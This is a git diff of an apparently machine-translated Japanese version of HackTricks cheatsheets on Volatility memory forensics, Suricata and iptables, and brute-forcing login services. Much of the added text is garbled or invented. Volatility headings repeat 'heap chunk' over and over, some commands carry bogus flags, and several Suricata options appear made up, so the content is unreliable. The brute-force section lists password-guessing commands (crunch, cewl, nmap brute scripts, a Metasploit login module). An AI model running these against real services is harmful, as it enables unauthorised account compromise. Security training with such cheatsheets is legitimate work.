<プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのアロケーション情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> allocations -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのフリーブロック情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> freeblocks -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのスタックトレースを表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> stacktrace -p <プロセスID> -t <スレッドID> -c -C -H -I -J -K -L +``` + +### 特定のスレッドのヒープのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンクのヒープチャンク情報を表示する + +```bash +volatility -f <ファイル名> --profile=<プロファイル名> heaps - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp driverscan ``` {% endtab %} {% endtabs %} -### Get clipboard - +### クリップボードの取得 ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 clipboard -f file.dmp ``` +### IEの履歴を取得する -### Get IE history +```bash +volatility -f --profile= iehistory +``` +このコマンドを使用して、Internet Explorer(IE)の履歴を取得できます。``にはメモリダンプファイルのパスを、``には使用しているプロファイルの名前を指定します。 ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 iehistory -f file.dmp ``` +### メモ帳のテキストを取得する -### Get notepad text +``` +volatility -f notepad +``` +メモリダンプファイルからメモ帳のテキストを取得するためには、上記のコマンドを使用します。 ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 notepad -f file.dmp ``` - -### Screenshot - +### スクリーンショット ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp ``` +### マスターブートレコード(MBR) -### Master Boot Record (MBR) - +The Master Boot Record (MBR) is a small section of a storage device that contains the boot loader program and the partition table. It is located in the first sector of the disk and is responsible for booting the operating system. The MBR is essential for the proper functioning of the system and is often targeted by malware and other malicious activities. Analyzing the MBR can provide valuable insights into the system's boot process and potential security breaches. ``` volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp ``` - -The MBR holds the information on how the logical partitions, containing [file systems](https://en.wikipedia.org/wiki/File\_system), are organized on that medium. The MBR also contains executable code to function as a loader for the installed operating system—usually by passing control over to the loader's [second stage](https://en.wikipedia.org/wiki/Second-stage\_boot\_loader), or in conjunction with each partition's [volume boot record](https://en.wikipedia.org/wiki/Volume\_boot\_record) (VBR). This MBR code is usually referred to as a [boot loader](https://en.wikipedia.org/wiki/Boot\_loader). From [here](https://en.wikipedia.org/wiki/Master\_boot\_record). +MBRは、そのメディア上に含まれる[ファイルシステム](https://en.wikipedia.org/wiki/File_system)をどのように組織化するかの情報を保持しています。MBRには、通常はインストールされたオペレーティングシステムに制御を渡すためのローダーとして機能する実行可能なコードも含まれています。これは通常、ローダーの[セカンドステージ](https://en.wikipedia.org/wiki/Second-stage_boot_loader)に制御を渡すか、各パーティションの[ボリュームブートレコード](https://en.wikipedia.org/wiki/Volume_boot_record)(VBR)と組み合わせて使用されます。このMBRコードは通常、[ブートローダー](https://en.wikipedia.org/wiki/Boot_loader)と呼ばれます。[ここから](https://en.wikipedia.org/wiki/Master_boot_record)。 ​
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを使命としているこの会議は、あらゆる分野の技術とサイバーセキュリティの専門家の活発な交流の場です。 {% embed url="https://www.rootedcon.com/" %} @@ -818,10 +6411,10 @@ The MBR holds the information on how the logical partitions, containing [file sy ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。 diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md index 50e716c31..75530d70e 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md @@ -1,27 +1,26 @@ -# Suricata & Iptables cheatsheet +# Suricata & Iptables チートシート
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
## Iptables -### Chains +### チェーン -Iptables chains are just lists of rules, processed in order. You will always find the following 3, but others such as NAT might also be supported. - -* **Input** – This chain is used to control the behavior of incoming connections. -* **Forward** – This chain is used for incoming connections that aren’t being delivered locally. Think of a router – data is always being sent to it but rarely actually destined for the router itself; the data is just forwarded to its target. Unless you’re doing some kind of routing, NATing, or something else on your system that requires forwarding, you won’t even use this chain. -* **Output** – This chain is used for outgoing connections. +Iptablesのチェーンは、順番に処理されるルールのリストです。以下の3つは常に存在しますが、NATなどの他のチェーンもサポートされている場合があります。 +* **Input** - このチェーンは、受信接続の動作を制御するために使用されます。 +* **Forward** - このチェーンは、ローカルに配信されていない受信接続に使用されます。ルーターのように考えてください - データは常に送信されていますが、実際にはルーター自体に宛てられているわけではありません。データは単に目的地に転送されます。ルーティング、NAT、または他のシステムで転送が必要な場合を除いて、このチェーンは使用しません。 +* **Output** - このチェーンは、送信接続に使用されます。 ```bash # Delete all rules iptables -F @@ -58,11 +57,133 @@ iptables-save > /etc/sysconfig/iptables ip6tables-save > /etc/sysconfig/ip6tables iptables-restore < /etc/sysconfig/iptables ``` - ## Suricata -### Install & Config +### インストールと設定 +#### インストール + +Suricataをインストールするには、次のコマンドを使用します。 + +```bash +sudo apt-get install suricata +``` + +#### 設定 + +Suricataの設定ファイルは、通常`/etc/suricata/suricata.yaml`にあります。以下のコマンドを使用して、設定ファイルを編集します。 + +```bash +sudo nano /etc/suricata/suricata.yaml +``` + +設定ファイルを編集する際には、次の項目に注意してください。 + +- `HOME_NET`:ネットワークの範囲を指定します。デフォルトでは、`[192.168.0.0/16,10.0.0.0/8,172.16.0.0/12]`が設定されています。 +- `EXTERNAL_NET`:外部ネットワークの範囲を指定します。デフォルトでは、`!$HOME_NET`が設定されています。 +- `RULE_PATHS`:ルールファイルのパスを指定します。デフォルトでは、`/etc/suricata/rules`が設定されています。 + +設定を変更した後は、Suricataを再起動する必要があります。 + +```bash +sudo service suricata restart +``` + +### インターフェースの監視 + +Suricataを特定のインターフェースで実行するには、次のコマンドを使用します。 + +```bash +sudo suricata -c /etc/suricata/suricata.yaml -i +``` + +``には、監視するインターフェースの名前を指定します。 + +### ログの表示 + +Suricataのログは、デフォルトでは`/var/log/suricata/fast.log`に保存されます。次のコマンドを使用して、ログを表示します。 + +```bash +sudo tail -f /var/log/suricata/fast.log +``` + +### イベントの表示 + +Suricataが検出したイベントを表示するには、次のコマンドを使用します。 + +```bash +sudo suricata -c /etc/suricata/suricata.yaml -T +``` + +### イベントのフィルタリング + +Suricataのイベントをフィルタリングするには、次のコマンドを使用します。 + +```bash +sudo suricata -c /etc/suricata/suricata.yaml -r "filter" +``` + +``には、解析するPCAPファイルのパスを指定します。`"filter"`には、適用するフィルターを指定します。 + +### イベントの解析 + +Suricataのイベントを解析するには、次のコマンドを使用します。 + +```bash +sudo suricata -c /etc/suricata/suricata.yaml -r -l +``` + +``には、解析するPCAPファイルのパスを指定します。``には、解析結果を保存するディレクトリのパスを指定します。 + +### イベントのエクスポート + +Suricataのイベントをエクスポートするには、次のコマンドを使用します。 + +```bash +sudo suricata -c /etc/suricata/suricata.yaml -r -l --output +``` + +``には、解析するPCAPファイルのパスを指定します。``には、解析結果を保存するディレクトリのパスを指定します。``には、エクスポートする形式を指定します。 + +### イベントの統計情報 + +Suricataのイベントの統計情報を表示するには、次のコマンドを使用します。 + +```bash +sudo suricata -c /etc/suricata/suricata.yaml -r -l --stats +``` + +``には、解析するPCAPファイルのパスを指定します。``には、解析結果を保存するディレクトリのパスを指定します。 + +### イベントの比較 + +Suricataのイベントを比較するには、次のコマンドを使用します。 + +```bash +sudo suricata -c /etc/suricata/suricata.yaml -r -r --compare +``` + +``と``には、比較する2つのPCAPファイルのパスを指定します。 + +### イベントの統合 + +Suricataのイベントを統合するには、次のコマンドを使用します。 + +```bash +sudo suricata -c /etc/suricata/suricata.yaml -r -r --merge +``` + +``と``には、統合する2つのPCAPファイルのパスを指定します。 + +### イベントのフィルタリングと解析 + +Suricataのイベントをフィルタリングして解析するには、次のコマンドを使用します。 + +```bash +sudo suricata -c /etc/suricata/suricata.yaml -r -l --filter --output +``` + +``には、解析するPCAPファイルのパスを指定します。``には、解析結果を保存するディレクトリのパスを指定します。``には、適用するフィルターを指定します。``には、エクスポートする形式を指定します。 ```bash # Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages # Ubuntu @@ -72,7 +193,7 @@ apt-get install suricata # Debian echo "deb http://http.debian.net/debian buster-backports main" > \ - /etc/apt/sources.list.d/backports.list +/etc/apt/sources.list.d/backports.list apt-get update apt-get install suricata -t buster-backports @@ -88,11 +209,11 @@ suricata-update ## To use the dowloaded rules update the following line in /etc/suricata/suricata.yaml default-rule-path: /var/lib/suricata/rules rule-files: - - suricata.rules +- suricata.rules # Run ## Add rules in /etc/suricata/rules/suricata.rules -systemctl suricata start +systemctl suricata start suricata -c /etc/suricata/suricata.yaml -i eth0 @@ -100,7 +221,7 @@ suricata -c /etc/suricata/suricata.yaml -i eth0 suricatasc -c ruleset-reload-nonblocking ## or set the follogin in /etc/suricata/suricata.yaml detect-engine: - - rule-reload: true +- rule-reload: true # Validate suricata config suricata -T -c /etc/suricata/suricata.yaml -v @@ -109,8 +230,8 @@ suricata -T -c /etc/suricata/suricata.yaml -v ## Config drop to generate alerts ## Search for the following lines in /etc/suricata/suricata.yaml and remove comments: - drop: - alerts: yes - flows: all +alerts: yes +flows: all ## Forward all packages to the queue where suricata can act as IPS iptables -I INPUT -j NFQUEUE @@ -128,74 +249,70 @@ Type=simple systemctl daemon-reload ``` +### ルールの定義 -### Rules Definitions +ルール/シグネチャは以下の要素で構成されます: -A rule/signature consists of the following: - -* The **action**, determines what happens when the signature matches. -* The **header**, defines the protocol, IP addresses, ports and direction of the rule. -* The **rule options**, define the specifics of the rule. +* **アクション**:シグネチャが一致した場合に何が起こるかを決定します。 +* **ヘッダ**:ルールのプロトコル、IPアドレス、ポート、方向を定義します。 +* **ルールオプション**:ルールの詳細を定義します。 ![](<../../../.gitbook/assets/image (642) (3).png>) -#### **Valid actions are** +#### **有効なアクションは以下の通りです** -* alert - generate an alert -* pass - stop further inspection of the packet -* **drop** - drop packet and generate alert -* **reject** - send RST/ICMP unreachable error to the sender of the matching packet. -* rejectsrc - same as just _reject_ -* rejectdst - send RST/ICMP error packet to the receiver of the matching packet. -* rejectboth - send RST/ICMP error packets to both sides of the conversation. +* alert - アラートを生成します +* pass - パケットのさらなる検査を停止します +* **drop** - パケットを破棄し、アラートを生成します +* **reject** - 一致するパケットの送信元にRST/ICMP unreachableエラーを送信します。 +* rejectsrc - _reject_ と同じです +* rejectdst - 一致するパケットの受信者にRST/ICMPエラーパケットを送信します。 +* rejectboth - 会話の両側にRST/ICMPエラーパケットを送信します。 -#### **Protocols** +#### **プロトコル** -* tcp (for tcp-traffic) +* tcp(tcpトラフィック用) * udp * icmp -* ip (ip stands for ‘all’ or ‘any’) -* _layer7 protocols_: http, ftp, tls, smb, dns, ssh... (more in the [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)) +* ip(ipは「all」または「any」を表します) +* _layer7プロトコル_:http、ftp、tls、smb、dns、ssh...([**ドキュメント**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)に詳細あり) -#### Source and Destination Addresses +#### 送信元と宛先のアドレス -It supports IP ranges, negations and a list of addresses: +IP範囲、否定、アドレスのリストをサポートしています: -| Example | Meaning | +| 例 | 意味 | | ------------------------------ | ---------------------------------------- | -| ! 1.1.1.1 | Every IP address but 1.1.1.1 | -| !\[1.1.1.1, 1.1.1.2] | Every IP address but 1.1.1.1 and 1.1.1.2 | -| $HOME\_NET | Your setting of HOME\_NET in yaml | -| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET and not HOME\_NET | -| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 except for 10.0.0.5 | +| ! 1.1.1.1 | 1.1.1.1以外のすべてのIPアドレス | +| !\[1.1.1.1, 1.1.1.2] | 1.1.1.1と1.1.1.2以外のすべてのIPアドレス | +| $HOME\_NET | yamlでのHOME\_NETの設定 | +| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NETでありHOME\_NETでない | +| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24で10.0.0.5を除く | -#### Source and Destination Ports +#### 送信元と宛先のポート -It supports port ranges, negations and lists of ports +ポート範囲、否定、ポートのリストをサポートしています -| Example | Meaning | +| 例 | 意味 | | --------------- | -------------------------------------- | -| any | any address | -| \[80, 81, 82] | port 80, 81 and 82 | -| \[80: 82] | Range from 80 till 82 | -| \[1024: ] | From 1024 till the highest port-number | -| !80 | Every port but 80 | -| \[80:100,!99] | Range from 80 till 100 but 99 excluded | -| \[1:80,!\[2,4]] | Range from 1-80, except ports 2 and 4 | +| any | 任意のアドレス | +| \[80, 81, 82] | ポート80、81、82 | +| \[80: 82] | 80から82までの範囲 | +| \[1024: ] | 1024から最大のポート番号まで | +| !80 | ポート80以外のすべてのポート | +| \[80:100,!99] | 80から100までの範囲で99を除く | +| \[1:80,!\[2,4]] | 1から80までの範囲でポート2と4を除く | -#### Direction - -It's possible to indicate the direction of the communication rule being applied: +#### 方向 +適用される通信ルールの方向を示すことができます: ``` source -> destination source <> destination (both directions) ``` +#### キーワード -#### Keywords - -There are **hundreds of options** available in Suricata to search for the **specific packet** you are looking for, here it will be mentioned if something interesting is found. Check the [**documentation** ](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)for more! - +Suricataには、探している特定のパケットを検索するための数百のオプションがあります。ここでは、興味深いものが見つかった場合にそれを示します。詳細については、[ドキュメント](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)をチェックしてください! ```bash # Meta Keywords msg: "description"; #Set a description to the rule @@ -236,15 +353,14 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;) ## Drop by port drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;) ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/generic-methodologies-and-resources/brute-force.md b/generic-methodologies-and-resources/brute-force.md index 40c7bf7ab..d0ffd0f0b 100644 --- a/generic-methodologies-and-resources/brute-force.md +++ b/generic-methodologies-and-resources/brute-force.md @@ -1,10 +1,10 @@ -# Brute Force - CheatSheet +# ブルートフォース - チートシート ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,17 +12,17 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## Default Credentials +## デフォルトの資格情報 -**Search in google** for default credentials of the technology that is being used, or **try these links**: +使用されている技術のデフォルトの資格情報をGoogleで検索するか、次のリンクを試してみてください: * [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) @@ -36,13 +36,6 @@ Get Access Today: * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com) * [**https://many-passwords.github.io/**](https://many-passwords.github.io) * [**https://theinfocentric.com/**](https://theinfocentric.com/) - -## **Create your own Dictionaries** - -Find as much information about the target as you can and generate a custom dictionary. Tools that may help: - -### Crunch - ```bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @@ -53,47 +46,48 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` - ### Cewl +Cewl is a tool used for generating custom wordlists by scraping websites or documents. It can be helpful in brute-forcing passwords or performing dictionary attacks. Cewl works by analyzing the given input and extracting relevant words based on various criteria such as word length, frequency, and patterns. + +To use Cewl, you need to provide it with a target URL or a file containing text. The tool then crawls the target website or analyzes the document to extract words. It can also follow links and recursively scrape multiple pages. + +Cewl offers several options to customize the wordlist generation process. You can specify the minimum and maximum word length, exclude certain words or patterns, and even use regular expressions to filter the extracted words. Additionally, Cewl supports different output formats, allowing you to save the generated wordlist in various file types. + +Using Cewl can be beneficial during penetration testing or password cracking activities. By creating a wordlist tailored to the target, you can increase the chances of success in a brute-force attack. However, it's important to note that using Cewl for malicious purposes is illegal and unethical. Always ensure you have proper authorization before using such tools. ```bash cewl example.com -m 5 -w words.txt ``` - ### [CUPP](https://github.com/Mebus/cupp) -Generate passwords based on your knowledge of the victim (names, dates...) - +被害者の情報(名前、日付など)に基づいてパスワードを生成します。 ``` python3 cupp.py -h ``` - ### [Wister](https://github.com/cycurity/wister) -A wordlist generator tool, that allows you to supply a set of words, giving you the possibility to craft multiple variations from the given words, creating a unique and ideal wordlist to use regarding a specific target. - +Wisterは、単語リスト生成ツールであり、特定のターゲットに関連する使用に適したユニークで理想的な単語リストを作成するために、与えられた単語から複数のバリエーションを作成することができます。 ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst - __ _______ _____ _______ ______ _____ - \ \ / /_ _|/ ____|__ __| ____| __ \ - \ \ /\ / / | | | (___ | | | |__ | |__) | - \ \/ \/ / | | \___ \ | | | __| | _ / - \ /\ / _| |_ ____) | | | | |____| | \ \ - \/ \/ |_____|_____/ |_| |______|_| \_\ +__ _______ _____ _______ ______ _____ +\ \ / /_ _|/ ____|__ __| ____| __ \ +\ \ /\ / / | | | (___ | | | |__ | |__) | +\ \/ \/ / | | \___ \ | | | __| | _ / +\ /\ / _| |_ ____) | | | | |____| | \ \ +\/ \/ |_____|_____/ |_| |______|_| \_\ + +Version 1.0.3 Cycurity - Version 1.0.3 Cycurity - Generating wordlist... [########################################] 100% Generated 67885 lines. Finished in 0.920s. ``` - ### [pydictor](https://github.com/LandGrey/pydictor) -### Wordlists +### ワードリスト * [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) @@ -109,17 +103,16 @@ Finished in 0.920s. ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Services +## サービス -Ordered alphabetically by service name. +サービス名でアルファベット順に並べられています。 ### AFP - ```bash nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_login @@ -129,95 +122,261 @@ msf> set PASS_FILE msf> set USER_FILE msf> run ``` - ### AJP +AJP (Apache JServ Protocol) is a protocol used by Apache Tomcat to communicate with web servers. It is similar to the HTTP protocol but is more efficient for communication between the web server and the application server. + +#### Brute Forcing AJP + +To brute force AJP, you can use tools like `ajpfuzzer` or `ajp-buster`. These tools allow you to test for weak credentials or vulnerabilities in the AJP protocol. + +Here is an example of how to use `ajpfuzzer`: + +```bash +ajpfuzzer -H -p -u -w +``` + +Replace `` with the IP address or hostname of the target server, `` with the AJP port (usually 8009), `` with the username you want to test, and `` with the path to a wordlist file containing possible passwords. + +Using `ajp-buster` is similar: + +```bash +ajp-buster -H -p -U -P +``` + +Replace `` and `` with the target server's IP address or hostname and AJP port, and `` and `` with the credentials you want to test. + +Remember to always obtain proper authorization before performing any brute force attacks. ```bash nmap --script ajp-brute -p 8009 ``` +# Cassandra -### Cassandra +Cassandraは、分散型データベース管理システムであり、Apache Software 